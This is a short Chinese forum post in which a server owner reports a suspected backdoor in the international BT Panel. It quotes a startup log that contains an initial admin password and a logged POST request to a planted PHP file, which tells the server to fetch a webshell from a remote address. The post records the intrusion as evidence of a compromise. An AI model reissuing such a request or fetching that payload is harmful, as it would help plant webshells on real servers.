[美国VPS] 宝塔国际版 BTPanel 疑似有后门，已确定

https://s1.ax1x.com/2022/09/15/vxYNe1.png

[Info]    2022-09-14 19:25:49 初始化数据库连接
[Info]    2022-09-14 19:25:49 开始进行数据库初始化…
[Info]    2022-09-14 19:26:03 初始管理员账号：[email protected]
[Info]    2022-09-14 19:26:03 初始管理员密码：DrPu1C5i
[Info]    2022-09-14 19:26:11 开始执行数据库脚本 [UpgradeTo3.4.0]
[Info]    2022-09-14 19:26:11 数据库初始化结束
[Info]    2022-09-14 19:26:11 初始化任务队列，WorkerNum = 10
[Info]    2022-09-14 19:26:11 初始化定时任务…
[Info]    2022-09-14 19:26:11 当前运行模式：Master
[Info]    2022-09-14 19:26:11 已连接到 Redis 服务器：127.0.0.1:6379
[Info]    2022-09-14 19:26:11 开始监听 :5212
[GIN] 2022/09/14 – 19:26:22 | 200 |    6.742758ms |   152.89.196.13 | POST     "/wp-content/themes/busify/bindex.php?url=http://152.89.196.13/b.txt"

http://152.89.196.13/b.txt  这个小马文件

不知道哪一个环节被k了